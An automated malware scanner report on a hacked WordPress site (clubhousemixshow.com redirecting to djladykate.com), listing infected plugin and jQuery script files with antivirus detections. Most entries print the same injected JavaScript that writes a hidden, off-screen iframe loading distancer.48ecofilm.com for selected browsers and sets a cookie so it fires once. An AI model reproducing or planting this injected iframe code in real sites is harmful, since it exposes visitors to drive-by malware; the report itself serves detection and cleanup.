New scan:

Malware Scanner report for clubhousemixshow.com

Malicious/Suspicious/Total urls checked
15/1/16
16 pages have malicious or suspicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "clubhousemixshow.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
Found
The website redirects visitors to the 3rd-party URL:
->http://www.djladykate.com/
www.djladykate.com is marked by Yandex as malicious.

The website "clubhousemixshow.com" is most probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues. Here is our redirects fixing guide.
Malicious/Hidden/Total iFrames
14/0/15
14 malicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=clubhousemixshow.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: maffconsulting.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 13 Dec 2014 12:09:11 GMT
Accept-Ranges: bytes
Server: Apache
Content-Length: 5177
Content-Type: text/html
Last-Modified: Tue, 25 Nov 2014 16:49:25 GMT

...5177 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: maffconsulting.com
Referer: http://www.google.com/search?q=maffconsulting.com

Result:
The result is similar to the first query. There are no suspicious redirects found.

Scanned pages/files

RequestServer responseStatus
http://www.clubhousemixshow.com/
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Tue, 16 Sep 2014 08:35:27 GMT
Via: 1.1 varnish
Age: 0
Location: http://www.djladykate.com/
Server: nginx/1.6.1
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
X-Cache: HIT
X-Varnish: 618899810 618899809
malicious
http://www.djladykate.com/
200 OK
Content-Length: 45404
Content-Type: text/html
suspicious
Page code contains blacklisted domain: www.clubhouseradio.us

<!DOCTYPE html>
<html lang="en-US" prefix="og: http://ogp.me/ns#">

<head>

<meta charset="UTF-8" />
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1">


<link rel="dns-prefetch" href="http://ajax.googleapis.com" />
<link rel="alte
...[4294 bytes skipped]...

http://www.djladykate.com/wp-includes/js/jquery/jquery.js?ver=1.11.1
200 OK
Content-Length: 98046
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: distancer.48ecofilm.com

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();
!function(a,b){"object"==typeof module&am
...[3008 bytes skipped]...

Decoded script:


<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1
200 OK
Content-Length: 9439
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: distancer.48ecofilm.com

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();

jQuery.migrateMute===void 0&&am
...[3119 bytes skipped]...

Decoded script:


<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-content/plugins/instapress/fancybox/jquery.fancybox-1.3.4.pack.js?ver=1.3.4
200 OK
Content-Length: 17863
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: distancer.48ecofilm.com

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();
;(function(b){var m,t,u,f,D,j,E,n,z,A,q=0
...[3143 bytes skipped]...

Decoded script:


<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-content/plugins/revslider/rs-plugin/js/jquery.themepunch.plugins.min.js?ver=4.0
200 OK
Content-Length: 19570
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();






...[3155 bytes skipped]...

Antivirus reports:

Avast
JS:Iframe-EJR [Trj]
Microsoft
Trojan:JS/Iframe.DI
Fortinet
JS/Iframe.JV!tr
Sophos
Troj/JSRedir-OI

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-content/plugins/revslider/rs-plugin/js/jquery.themepunch.revolution.min.js?ver=4.0
200 OK
Content-Length: 58474
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();


(function(e,t){function n(e){
...[2984 bytes skipped]...

Antivirus reports:

Avast
JS:Iframe-EJR [Trj]
Microsoft
Trojan:JS/Iframe.DI
Fortinet
JS/Iframe.JV!tr
Sophos
Troj/JSRedir-OI

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-content/plugins/simply-instagram/js/simply-instagram-jquery.prettyPhoto.js?ver=3.1.4
200 OK
Content-Length: 26931
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: distancer.48ecofilm.com

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();
(function($){$.prettyPhoto={version:"3.1.
...[3029 bytes skipped]...

Decoded script:


<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-content/plugins/audio-player/assets/audio-player.js?ver=2.0.4.6
200 OK
Content-Length: 31605
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: distancer.48ecofilm.com

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();
var audioplayer_swfobject = function() {<
...[3399 bytes skipped]...

Decoded script:


function callDomLoadFunctions() {
if (isDomLoaded) {
return;
}
try {
var t = doc.getElementsByTagName("body")[0].appendChild(createElement("span"));
t.parentNode.removeChild(t);
} catch (e) {
return;
}
isDomLoaded = true;
var dl = domLoadFnArr.length;
for (var i = 0; i < dl; i++) {
domLoadFnArr[i]();
}
}
<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-content/plugins/no-right-click-images-plugin/no-right-click-images.js
200 OK
Content-Length: 9576
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();

var kpg_nrci_targImg=null;
var
...[3294 bytes skipped]...

Antivirus reports:

Avast
JS:Iframe-EJR [Trj]
Microsoft
Trojan:JS/Iframe.DI
Fortinet
JS/Iframe.JV!tr
Sophos
Troj/JSRedir-OI

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-content/plugins/youtube-sidebar-widget/script.js
200 OK
Content-Length: 3799
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: distancer.48ecofilm.com

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();
(function(){
jQuery(function($){
...[1735 bytes skipped]...

Decoded script:


<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-content/plugins/instapress/instapress.js?ver=1.5.4
200 OK
Content-Length: 6665
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: distancer.48ecofilm.com

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();
jQuery(document).ready(function($)
{<
...[4034 bytes skipped]...

Decoded script:


<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-content/plugins/wp-lightbox-2/wp-lightbox-2.min.js?ver=1.3.4.1
200 OK
Content-Length: 12863
Content-Type: application/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();
(function(a){a.fn.lightbox=function(k){va
...[3138 bytes skipped]...

Antivirus reports:

Avast
JS:Iframe-EJR [Trj]
Microsoft
Trojan:JS/Iframe.DI
Fortinet
JS/Iframe.JV!tr
Sophos
Troj/JSRedir-OI

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-includes/js/jquery/ui/jquery.ui.core.min.js?ver=1.10.4
200 OK
Content-Length: 6528
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: distancer.48ecofilm.com

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();
(function(e,t){function i(t,i){var a,n,r,
...[3057 bytes skipped]...

Decoded script:


<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-includes/js/jquery/ui/jquery.ui.widget.min.js?ver=1.10.4
200 OK
Content-Length: 8760
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: distancer.48ecofilm.com

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();
(function(e,t){var i=0,s=Array.prototype.
...[3017 bytes skipped]...

Decoded script:


<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">

http://www.djladykate.com/wp-includes/js/jquery/ui/jquery.ui.tabs.min.js?ver=1.10.4
200 OK
Content-Length: 13862
Content-Type: application/javascript
malicious
Malicious code found. Script contains blacklisted domain: distancer.48ecofilm.com

...[248 bytes skipped]...
ined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);

if (!Smiledbob && assa_a) {
document.write('<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();

}
}
Lightebrothermind();
(function(t,e){function i(){return++n}fun
...[3007 bytes skipped]...

Decoded script:


<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>

Malicious iFrame found.
size: 200x200     
src: http://distancer.48ecofilm.com/dirmanoulita16.html
This URL is marked by Google as suspicious

<iframe src="http://distancer.48ecofilm.com/dirmanoulita16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "times new roman", georgia, serif;left: -901px;height: 100px;width: 100px;">